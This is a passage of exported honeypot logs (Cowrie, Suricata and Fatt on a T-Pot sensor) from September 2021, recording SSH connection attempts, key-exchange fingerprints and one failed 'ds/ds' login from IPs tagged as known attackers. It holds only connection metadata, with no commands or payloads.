"hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2f9f644411e1", "@version": "1", "timestamp": "2021-09-20T11:09:44.436378Z", "@timestamp": "2021-09-20T11:09:44.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25246	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:34.275349+03	2021-09-20 14:15:09.8635+03	{"_id": "gAblAnwBvYTbRNuEnhgg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1831710873158896, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50582, "dest_port": 22, "timestamp": "2021-09-20T11:09:34.275349Z", "@timestamp": "2021-09-20T11:09:34.275Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25268	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:09:29.585338+03	2021-09-20 14:15:09.896503+03	{"_id": "DQblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [ds/ds] failed", "session": "08b078f23768", "@version": "1", "password": "ds", "username": "ds", "timestamp": "2021-09-20T11:09:29.585338Z", "@timestamp": "2021-09-20T11:09:29.585Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25247	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:34.669737+03	2021-09-20 14:15:09.864503+03	{"_id": "iQblAnwBvYTbRNuEnxgv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43866, "dest_port": 22, "timestamp": "2021-09-20T11:09:34.669737", "@timestamp": "2021-09-20T11:09:34.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25248	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:37.052965+03	2021-09-20 14:15:09.865509+03	{"_id": "pgblAnwBvYTbRNuEpxiV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45084 (192.168.176.2:22) [session: f75dfbc026d8]", "session": "f75dfbc026d8", "@version": "1", "protocol": "ssh", "src_port": 45084, "dest_port": 22, "timestamp": "2021-09-20T11:09:37.052965Z", "@timestamp": "2021-09-20T11:09:37.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25249	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:37.183345+03	2021-09-20 14:15:09.867501+03	{"_id": "sAblAnwBvYTbRNuEpxiV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "dc35b2f07021", "@version": "1", "duration": 2.791055679321289, "timestamp": "2021-09-20T11:09:37.183345Z", "@timestamp": "2021-09-20T11:09:37.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25250	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:37.336694+03	2021-09-20 14:15:09.8685+03	{"_id": "qwblAnwBvYTbRNuEpxiV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f75dfbc026d8", "@version": "1", "timestamp": "2021-09-20T11:09:37.336694Z", "@timestamp": "2021-09-20T11:09:37.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25251	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:37.335989+03	2021-09-20 14:15:09.8705+03	{"_id": "tAblAnwBvYTbRNuEqhjn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45084, "dest_port": 22, "timestamp": "2021-09-20T11:09:37.335989", "@timestamp": "2021-09-20T11:09:37.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25252	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:38.148411+03	2021-09-20 14:15:09.8715+03	{"_id": "vAblAnwBvYTbRNuEqxh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:34002 (192.168.176.2:22) [session: a945c314fc03]", "session": "a945c314fc03", "@version": "1", "protocol": "ssh", "src_port": 34002, "dest_port": 22, "timestamp": "2021-09-20T11:09:38.148411Z", "@timestamp": "2021-09-20T11:09:38.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25253	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:38.432742+03	2021-09-20 14:15:09.8735+03	{"_id": "wQblAnwBvYTbRNuEqxh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a945c314fc03", "@version": "1", "timestamp": "2021-09-20T11:09:38.432742Z", "@timestamp": "2021-09-20T11:09:38.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 